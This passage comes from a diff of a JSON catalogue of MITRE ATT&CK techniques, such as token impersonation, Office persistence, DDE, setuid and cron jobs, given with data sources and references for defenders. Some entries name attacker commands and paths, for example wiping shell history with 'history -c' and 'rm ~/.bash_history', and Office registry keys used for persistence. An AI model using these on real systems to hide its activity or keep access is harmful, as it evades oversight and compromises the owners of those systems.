logon session on the system.\n\n**Create Process with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)", + "meta": { + "external_id": "T1134", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Access tokens", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1134", + "https://technet.microsoft.com/en-us/library/bb490994.aspx", + "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", + "https://pentestlab.blog/2017/04/03/token-manipulation/", + "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", + "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", + "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" + ] + }, + "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "value": "Access Token Manipulation - T1134" + }, + { + "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.", + "meta": { + "external_id": "T1135", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Network protocol analysis", + "Process use of network" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1135", + "https://en.wikipedia.org/wiki/Shared_resource", + "https://technet.microsoft.com/library/cc770880.aspx" + ] + }, + "uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "value": "Network Share Discovery - T1135" + }, + { + "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n### Office Test\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)", + "meta": { + "external_id": "T1137", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137", + "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", + "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", + "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", + "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", + "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", + "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", + "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + ] + }, + "uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "value": "Office Application Startup - T1137" + }, + { + "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", + "meta": { + "external_id": "T1173", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1173", + "https://technet.microsoft.com/library/security/4053440", + "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", + "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", + "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", + "https://www.contextis.com/blog/comma-separated-vulnerabilities", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", + "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", + "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + ] + }, + "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "value": "Dynamic Data Exchange - T1173" + }, + { + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)", + "meta": { + "external_id": "T1318", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1318" + ] + }, + "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7", + "value": "Obfuscate operational infrastructure - T1318" + }, + { + "description": "A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.", + "meta": { + "external_id": "APP-35", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1414", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" + ] + }, + "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "value": "Capture Clipboard Data - T1414" + }, + { + "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). \n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1).", + "meta": { + "external_id": "STA-22", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1451", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html", + "http://www.dos.ny.gov/consumerprotection/scams/att-sim.html", + "http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/", + "https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters", + "https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam", + "https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin" + ] + }, + "uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5", + "value": "SIM Card Swap - T1451" + }, + { + "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.", + "meta": { + "external_id": "AUT-10", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1415", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html", + "https://tools.ietf.org/html/rfc7636", + "https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures", + "http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html", + "https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html" + ] + }, + "uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e", + "value": "URL Scheme Hijacking - T1415" + }, + { + "description": "A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in (Citation: IETF-PKCE).", + "meta": { + "external_id": "T1416", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1416", + "https://tools.ietf.org/html/rfc7636" + ] + }, + "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", + "value": "Android Intent Hijacking - T1416" + }, + { + "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", + "meta": { + "external_id": "T1146", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1146" + ] + }, + "uuid": "d3046a90-580c-4004-8208-66915bc29830", + "value": "Clear Command History - T1146" + }, + { + "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", + "meta": { + "external_id": "T1174", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1174", + "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", + "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + ] + }, + "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", + "value": "Password Filter DLL - T1174" + }, + { + "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.", + "meta": { + "external_id": "T1419", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1419", + "https://zeltser.com/third-party-keyboards-security/" + ] + }, + "uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05", + "value": "Device Type Discovery - T1419" + }, + { + "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", + "meta": { + "external_id": "CAPEC-163", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Anti-virus", + "Web proxy" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1194", + "https://capec.mitre.org/data/definitions/163.html" + ] + }, + "uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "value": "Spearphishing via Service - T1194" + }, + { + "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)", + "meta": { + "external_id": "CAPEC-439", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Web proxy", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1195", + "https://capec.mitre.org/data/definitions/437.html", + "https://capec.mitre.org/data/definitions/438.html", + "https://capec.mitre.org/data/definitions/439.html", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", + "https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + ] + }, + "uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "value": "Supply Chain Compromise - T1195" + }, + { + "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", + "meta": { + "external_id": "T1166", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ "File monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Linux", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1031", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + "https://attack.mitre.org/techniques/T1166", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "http://man7.org/linux/man-pages/man2/setuid.2.html" + ] }, - "value": "Modify Existing Service" + "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "value": "Setuid and Setgid - T1166" }, { - "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.\n\nAdversaries may use remote services to access and persist within a network.Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Daniel Oakley", + "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", "meta": { + "external_id": "T1168", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:execution" + ], "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1133", - "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" - ], - "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d" - }, - "value": "External Remote Services" - }, - { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.[[Citation: Technet MS14-068]][[Citation: ADSecurity Detecting Forged Tickets]]\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", - "meta": { - "mitre_data_sources": [ - "Windows Error Reporting", "File monitoring", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1068", - "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", - "https://adsecurity.org/?p=1515" - ], - "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839" + "https://attack.mitre.org/techniques/T1168", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html", + "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "https://linux.die.net/man/5/crontab", + "https://linux.die.net/man/1/at", + "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" + ] }, - "value": "Exploitation of Vulnerability" + "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "value": "Local Job Scheduling - T1168" }, { - "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed[[Citation: Mac Backdoors are back]]. \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", + "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "meta": { + "external_id": "T1196", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Windows Registry", + "Windows event logs", + "Process command-line parameters", + "Process monitoring" ], "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1151", - "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" - ], - "uuid": "2258e6a4-3281-4244-947b-4323a01a30a7" + "https://attack.mitre.org/techniques/T1196", + "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + ] }, - "value": "Space after Filename" + "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", + "value": "Control Panel Items - T1196" }, { - "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of [[Legitimate Credentials]] to access remote systems within the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", + "description": "File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\n\nAdversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.", "meta": { + "external_id": "T1222", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], "mitre_data_sources": [ "File monitoring", "Process monitoring", "Process command-line parameters", - "Binary file metadata" + "Windows event logs" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 